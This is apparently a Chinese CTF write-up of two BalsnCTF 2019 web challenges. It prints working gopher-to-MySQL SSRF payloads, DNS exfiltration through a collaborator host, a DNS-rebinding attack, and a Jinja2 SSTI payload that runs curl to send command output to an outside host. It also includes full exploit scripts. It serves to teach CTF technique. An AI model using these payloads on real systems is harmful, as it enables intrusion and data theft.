BalsnCTF 2019 兩道web題

2021-02-21 合天智匯
Warm up

常見繞過、gopher 打 MySQL、SSRF

一打開題目就能看到源碼,稍稍有點混淆,整理一下:

<?phpif (($secret = base64_decode(str_rot13("CTygMlOmpz" . "Z9VaSkYzcjMJpvCt==")))    && highlight_file(__FILE__)    && (include("config.php"))    && ($op = @$_GET['op'])    && (@strlen($op) < 3 && @($op + 8) < 'A_A')) {    $_ = @$_GET['Σ>―(#°ω°#)♡→'];    if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)        || @strlen(count_chars(strtolower($_), 3)) > 13        || @strlen($_) > 19) {
exit($secret); } else { $ch = curl_init(); @curl_setopt( $ch, CURLOPT_URL, str_repLace( "int", ":DD", str_repLace( "%69%6e%74", "XDDD", str_repLace( "%2e%2e", "Q___Q", str_repLace( "..", "QAQ", str_repLace( "%33%33%61", ">__<", str_repLace( "%63%3a", "WTF", str_repLace( "633a", ":)", str_repLace( "433a", ":(", str_repLace( "\x63:", "ggininder", strtolower(eval("return $_;")) ) ) ) ) ) ) ) ) ) ); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 1); @curl_EXEC($ch); }} else if (@strlen($op) < 4 && @($op + 78) < 'A__A') { $_ = @$_GET['⁣']; # \u2063 //http://warmup.balsnctf.com/?%E2%81%A3=index.php%20&op=-79 if ((strtolower(substr($_, -4)) === '.php') || (strtolower(substr($_, -4)) === 'php.') || (stripos($_, "\"") !== FALSE) || (stripos($_, "\x3e") !== FALSE) || (stripos($_, "\x3c") !== FALSE) || (stripos(strtolower($_), "amp") !== FALSE)) die($secret); else { if (stripos($_, "..") !== false) { die($secret); } else { if (stripos($_, "\x24") !== false) { die($secret); } else { print_r(substr(@file_get_contents($_), 0, 155)); } } }} else { die($secret) && system($_GET[0x9487945]);}

這段代碼並不需要額外配置,卻加載了一個 config.php,有點蹊蹺,先讀下原始碼看看。有兩種辦法,一是通過 eval,而是利用 file_get_contents,後者明顯要簡單些。這樣的後綴檢查加個空格就能過。因為讀取有長度限制,可直接使用偽協議進行壓縮,然後解壓即可。

<?php$content = file_get_contents("http://warmup.balsnctf.com/?op=-99&%E2%81%A3=php://filter/zlib.deflate/resource=config.php%20");$idx = stripos($content, "</code>") + 7;file_put_contents("/tmp/233", substr($content, $idx));
echo file_get_contents("php://filter/zlib.inflate/resource=/tmp/233");

得到內容如下

# file:config.php<?php    // ***********************************    // THIS IS THE CONFIG OF THE MYSQL DB    // ***********************************    $host = "localhost";    $user = "admin";    $pass = "";    $port = 8787;    // hint:flag-is-in-the-database XDDDDDDD    // ====================================    %

看到了這個提示,MySQL 還是空密碼,目標就相當明確了,gopher 打 MySQL 即可,file_get_contents 一般打不出 gopher。那就利用之前的 curl,這裡也有三重限制:

if (preg_match('/[\x00-!\'0-9"`&$.,|^[{_zdxfegavpos\x7F]+/i', $_)        || @strlen(count_chars(strtolower($_), 3)) > 13        || @strlen($_) > 19) {

image.png

gopher 的 payload 都比較長,直接傳是不可能的。之前出過很多無參函數的題,常見的手法是通過 getenv、getallheaders、get_defined_vars之類的函數獲取參數。由於長度的限制,最好的選擇就是 getenv。

(~%98%9A%8B%9A%91%89)(~%B7%AB%AB%AF%A0%A7) => getenv("HTTP_T")

image.png

成功打出請求,接下來繼續打 MySQL, Gopherus 生成下 payload。

phpinfo 中能看到是 Windows 的機器,驗證一下能不能 DNS 數據外帶,不然只能當盲注處理了。

(PS:本地實驗記得修改 mysql.ini 文件,在 [mysqld] 下加入 secure_file_priv = )

Give MySQL username: adminGive port: 8787Give query to execute: select load_file(concat('\\\\',version(),'.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a'));
Your gopher link is ready to do SSRF :
gopher://127.0.0.1:8787/_%a4%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%61%64%6d%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%65%00%00%00%03%73%65%6c%65%63%74%20%6c%6f%61%64%5f%66%69%6c%65%28%63%6f%6e%63%61%74%28%27%5c%5c%5c%5c%27%2c%76%65%72%73%69%6f%6e%28%29%2c%27%2e%39%66%70%30%37%71%32%6e%68%6f%31%76%38%74%6e%36%38%73%7a%6c%73%35%34%64%39%34%66%75%33%6a%2e%62%75%72%70%63%6f%6c%6c%61%62%6f%72%61%74%6f%72%2e%6e%65%74%2f%61%27%29%29%3b%01%00%00%00%01

成功收到請求。

10.3.16-MariaDB.9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net.

繼續獲取數據:

select load_file(concat("\\\\",substr(hex(group_concat(schema_name)),39,68),".9fp07q2nho1v8tn68szls54d94fu3j.burpcollaborator.net/a")) from information_schema.schemata;-- 得到了資料庫名 test,thisisthedbname,需要注意的是太長了出不了網,不能出現像逗號這種的特殊符號

接下來就是老套路了,讀表名、列名,拿數據。

42616C736E7B337A5F77316E643077735F7068705F6368346C7D  =>  Balsn{3z_w1nd0ws_php_ch4l}

有師傅把上面的過程整合了下,通過 flask 轉發,然後就能 sqlmap 一把梭,值得學習,代碼如下。

https://movrment.blogspot.com/2019/10/balsn-ctf-2019-web-warmup.html

#coding: utf-8import requests
class MySQL(): print "\033[31m"+"For making it work username should not be password protected!!!"+ "\033[0m" user = 'admin' encode_user = user.encode("hex") user_length = len(user) temp = user_length - 4 length = (chr(0xa3+temp)).encode("hex")
dump = length + "00000185a6ff0100000001210000000000000000000000000000000000000000000000" dump += encode_user dump += "00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c" dump += "69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d" dump += "067838365f36340c70726f6772616d5f6e616d65056d7973716c"
query = "show databases;";
auth = dump.replace("\n","")
def encode(self, s): a = [s[i:i + 2] for i in range(0, len(s), 2)] return "gopher://127.0.0.1:8787/_%" + "%".join(a)

def get_payload(self, query): if(query.strip()!=''): query = query.encode("hex") query_length = '{:06x}'.format((int((len(query) / 2) + 1))) query_length = query_length.decode('hex')[::-1].encode('hex') pay1 = query_length + "0003" + query final = self.encode(self.auth + pay1 + "0100000001") return final else: return encode(self.auth)

# coding: utf-8from flask import Flask, render_template, requestimport time
app = Flask(__name__, template_folder='.')
@app.route('/')def blind(): username = request.args.get('username') url = "http://localhost/gg.php" url = "http://warmup.balsnctf.com/" def n(s): r = "" for i in s: r += chr(~(ord(i)) & 0xFF) r = "~{}".format(r) return r
t = '(' + n('getenv') + ')(' +n('HTTP_X') + ')' x = MySQL().get_payload("select id from (select 1 as id)a where id='{username}';".format(username=username))
print repr(x) print len(t) try: r = requests.post(url=url, params = { 'op' : '-9', 'Σ>―(#°ω°#)♡→' : t }, cookies = {"PHPSESSID" : "123"}, headers = {"X": x}, timeout = 1.5 ) return "1" except: time.sleep(4) return "0" return r.content

if __name__ == "__main__": app.run(host='0.0.0.0', debug=True)
'''python sqlmap.py -u "http://localhost:5000/?username=*" --technique=T --dbms=mysql --dbs --level 1 --time-sec=2'''

韓國魚

DNS rebinding、SSTI、命令執行

題目直接放出了 docker 環境,有個 readflag.c,看來是要執行命令。

# index.php<?phpini_set('default_socket_timeout', 1);
$waf = array("@","#","!","$","%","<", "*", "'", "&", "..", "localhost", "file", "gopher", "flag", "information_schema", "select", "from", "sleep", "user", "where", "union", ".php", "system", "access.log", "passwd", "cmdline", "exe", "fd", "meta-data");
$dst = @$_GET['🇰🇷🐟'];if(!isset($dst)) exit("Forbidden");
$res = @parse_url($dst);$ip = @dns_get_record($res['host'], DNS_A)[0]['ip'];
if($res['scheme'] !== 'http' && $res['scheme'] !== 'https') die("Error");if(stripos($res['path'], "korea") === FALSE) die("Error");
for($i = 0; $i < count($waf); $i++) if(stripos($dst, $waf[$i]) !== FALSE) die("<svg/onload=\"alert('發大財!')\">".$waf[$i]);sleep(1);
// u can only touch this useless ip :p$dev_ip = "54.87.54.87";if($ip === $dev_ip) { $content = file_get_contents($dst); echo $content;}

另外內網裡還跑了一個 flask,這段代碼明顯有 SSTI。

@app.route('/error_page')def error():    error_status = request.args.get("err")    err_temp_path = os.path.join('/var/www/flask/', 'error', error_status)    with open(err_temp_path, "r") as f:        content = f.read().strip()    return render_template_string(sanitize(content))

代碼裡還很貼心的加入了一個 sleep(1),對訪問 IP 的限制顯然可以通過 DNS rebinding 進行繞過。當服務端通過 dns_get_record 解析時,返回 54.87.54.87,通過 file_get_contents 訪問時,host 被解析成 127.0.0.1 自然就能打到內網。

國內能買到的域名 TTL 基本無法為零,難道需要充錢買新域名嗎?

不,有很多現成的平臺能用,比如 https://lock.cmpxchg8b.com/rebinder.html。

image.png

不過這個是規律性的隨機解析,還是要點小運氣的 :)

可看到成功進入內網:

image.png

要想訪問 /error_page ,這還有點小限制 

if(stripos($res['path'], "korea") === FALSE) die("Error");

不過在 Flask 裡有個特性,//korea/error_page => /error_page,自然就解決了。當然也可以自己寫個跳轉。

另外還有一點:

>>> import os>>> os.path.join("/var/www/flask", "error", "/etc/passwd")'/etc/passwd'

接下來要做的就是找到一個可控的文件,別忘了前面還跑了個 PHP,那就利用 session.upload_progress 進行上傳吧,也是常見的手段。可參考:

https://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

https://www.anquanke.com/post/id/162656

http://wonderkun.cc/index.html/?p=718

https://www.php.net/manual/zh/session.upload-progress.php

我們先看一下 SSTI 如何構造才能進行命令執行。

def sanitize(str):    return str.replace(".", "").replace("{{", "")
'''過濾 {{ => {%%}
過濾 . => {{''['__class__']}} {{''|attr('__class__')}} \x2e getattr'''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}
=>
{% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}

把 orange 之前 one line php 的 exp 改下就能用了,最終 exp:

import sysimport stringimport requestsfrom multiprocessing.dummy import Pool as ThreadPool

HOST = 'http://koreanfish.balsnctf.com'sess_name = 'iamorange'
headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name}
payload = '''{% for c in []['__class__']['__base__']['__subclasses__']() %} {% if c['__name__'] == 'catch_warnings' %} {% for b in c['__init__']['__globals__']['values']() %} {% if b['__class__']=={}['__class__'] %} {% if 'eval' in b['keys']() %} {% if b['eval']('getattr(__import__("os"),"popen")("curl your_host/`/readflag`")') %} {% endif %} {% endif %} {% endif %} {% endfor %} {% endif %}{% endfor %}'''
def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + payload + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() print(r.status_code)
def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name while 1: url = '{}?%F0%9F%87%B0%F0%9F%87%B7%F0%9F%90%9F=http://36573657.7f000001.rbndr.us:5000//korea/error_page%3Ferr={}'.format(HOST, filename) r = requests.get(url, headers=headers) print(r.status_code)

if sys.argv[1] == '1': runner = runner1else: runner = runner2
pool = ThreadPool(32)result = pool.map_async( runner, range(32) ).get(0xffff)

別忘了投稿哦

大家有好的技術原創文章

歡迎投稿至郵箱:edu@heetian.com

合天會根據文章的時效、新穎、文筆、實用等多方面評判給予200元-800元不等的稿費哦

有才能的你快來投稿吧!

了解投稿詳情點擊——重金懸賞 | 合天原創投稿漲稿費啦!

相關焦點

  • 腦筋急轉彎:9道題,答對5道的一定是高智商!
    思維模式,以下這9道題,答對5道的一定是高智商!1、這根火柴應該怎樣移動,才能使等式成立?2、好多舅舅,誰是小偷,錢又是誰的呢?8、6兩+10兩=1斤,古代一斤為十六兩,八兩剛好是半斤。故有半斤八兩之說。現在一斤=十兩。9、左邊是母親。在一個密封的空間,孩子肯定面對自己的母親更有安全感,能時時刻刻看到自己的母親才玩得安心開心。
  • 10道有趣的智力題,自認IQ智商高的朋友來挑戰一下吧!
    第1題第2題第3題第10題答案1.小編可以切兩刀,分為1/7、2/7、4/7三段。9.主任十分生氣的告訴小編:「如果你參加過類似於奧林匹克數學班,那你就應該做過這些題的!你就問他『你的國家怎麼走』,他肯定指向的是誠實國」。此處應給主任鼓鼓掌,主任好聰明!10.條線的情況是:123、456、789、148、159、247、258、269、357、368。對於上述的10個智力題,你做對了幾道?
  • 這道題難倒一票外國網友,這樣的燒腦題你能答上來嗎?
    這道題江湖人稱「特蕾莎女兒之謎」,謎面其實很簡單,就是有點……繞……來看題:"If Teresa's daughter is my daughter's mother, what am I to Teresa?"如果特蕾莎的女兒是我的女兒的媽媽,那我是特蕾莎的誰?
  • 腦筋急轉彎:10道題,答對6道的一定智商很高哦
    
  • 這道題在國外火了,難倒一票網友,這樣的燒腦題你能答上來嗎?
    作者:雙語君本文來源:中國日報雙語新聞(chinadaily_mobile)文章已獲授權最近,國外社交網站上一道題目火了,難倒了一眾歪果仁,火爆程度不亞於當年「藍黑」的還是「白金」的裙子……這道題江湖人稱「特蕾莎女兒之謎」,謎面其實很簡單,就是有點……繞……來看題:
  • 黃巖七旬「數獨控」3年破解150道題 他的題庫連數學老師也被難倒
    管筱南正在擺弄他自製的81宮格的木板。81個數字牌,正反兩面分別是黑紅兩色。黑色代表題面,紅色代表答案。為了解題,還自製81宮格工具  管筱南是一名退休電工,家住黃巖縣前小區。他與數獨遊戲結緣,純屬偶然。  3年前,一份老年報上刊載了一道數獨題。
  • 通用版本:二年級數學100以內加減法練習題200道
    今天發布的試題是:二年級數學100以內加減法練習題200道;二年級數學上冊10月份應用題練習卷;6的乘法口訣和練習題。
  • 5道智力題:全部答出來,智商秒掉一般人!
    這其中最流行和最有效的莫過於智力題了,既能改變思維,還能增長智商,非常受歡迎。今天我們來做幾道,看看大家的智商和思維如何。1、這是一道奧數題,在這個算式中,每個數字均是素數(2、3、5或7),這裡不提供任何線索和字母,但是正確答案只有一個,你能寫出來嗎?
  • 驚悚的四道恐怖推理題,你敢挑戰嗎?(帶答案)
    恐怖推理題以充滿懸念的故事讓人在瞬間感受到撲面而來的恐怖,這種恐怖並非完全來自於故事,更多的是來自於自身的想像,所以這不失為尋找恐怖的一大方式。以下匯集了史上最驚悚的四道恐怖推理題,你敢挑戰試試嗎?恐怖推理題一女孩很晚才回到家,家裡的電梯壞了,她有點害怕,不敢一個人走樓梯,於是打電話給媽媽,讓媽媽下來接她。媽媽下來後兩個人一起走,好不容易爬到13樓的時候,女孩的電話響了,女孩接通電話,一瞬間,她的臉上再無血色只有驚恐!這是為什麼呢?
  • 看圖猜成語:一共6道題,學霸輕鬆答對5道,第6道放棄!你會嗎
    開心一刻:食堂吃午飯,我開玩笑說:我爸媽不愛我了,我過年值班不能回家,二老都沒問過我。同事:可能你爸媽以為你會回去的。男友撇嘴道:「你省省吧!那小子是嫌他去年聖誕夜掛的襪子太小,只能塞進一塊巧克力,他覺得你這個夠大!」
  • 每周一題第伍拾捌期20201008:生命靈數
    恭喜熱和皮皮不會做演示文稿分別斬獲兩道題的冠軍~據統計,上一期的兩道題答對的人數分別為
  • 8道腦筋急轉彎,你能答對幾道?
    今天小編就出了8道題,看看你能答對幾道?錢原本是十舅的,是要準備發給十一舅的,但是沒發,而是借給了九舅,所以錢是九舅的(放在八舅柜子裡,八舅要承擔的是保管責任)。四舅是偷竊的犯罪行為,五舅是行騙和教唆犯罪行為。答案就是:小偷是四舅,錢是九舅的。6兩+10兩=1斤,古代一斤為十六兩,八兩剛好是半斤。故有半斤八兩之說。現在一斤=十兩。
  • 2019年上海食品安全網上有獎知識競賽
    (如果為上海市民,需要具體到街道)【答題流程】每次登錄答題共計8題,分為5道必答題和3道問答徵集題,所有題目須在30分鐘內完成,如若超時,系統將自動提交進行評分。參賽者5題必答題全部答對,即可獲得1次微信大轉盤抽獎資格。
  • 重點精練:小學數學一年級上冊應用題精選訓練!
    67、華華昨天做了6道題,今天做了10道題,兩天一共做了多少道題?68、華華兩天一共做了16道題,有6道題是昨天做了,今天做了多少道題?69、華華兩天一共做了16道題,今天做了10道,昨天做了多少道題?70、停車場兩次開走了12輛車,第一次開走了6輛,第二次開走了多少輛?
  • 董祥一:記一道有趣的題
    「其實這道題若認真去想的話是極其有趣的,先找到一個突破目標,其餘就好辦了。」        前兩天家事繁忙,耽擱兩天隨筆屬實不應該。還有兩天作業沒碰呢,就得瘋狂補,這就很煩,再有四天籃球又要開課了,時間又要變緊了。
  • 智力題:答對6道智力已經不一般,那麼你想挑戰第7道嗎?
    最近只顧給大家做眼力測試了,都忘記大家最愛的智力題了。幾天不動腦,相信大家的大腦都快生鏽了吧。不著急,馬上你們就能見到期待已久,既考智商又有趣的智力題啦。1、下面這個等式看似不可能,但是呢,有人能只添一筆就能使等式成立,你覺得可能嗎?(請別把不等式這種小兒科的東西拿上檯面來說)2、根據第一個等式的結果,算出問號處的結果應該是多少?
  • Moctf-web題解
  • 看圖猜成語:7道題藏了11個成語,你猜對了嗎?
    第二題:
  • 考考你:答對10題是人才,答對13題是天才,答對15題是鬼才!
    一共15個成語,答對10題的是人才,答對13題的是天才,如果你能全部猜出來,那可就太厲害了!
  • 多選題:日本人氣女子偶像團體你認識多少?
    日前,日本トレタメ網站公布了2018人氣女子偶像團體top20排名,其中坂道系列的乃木坂46排在榜單首位。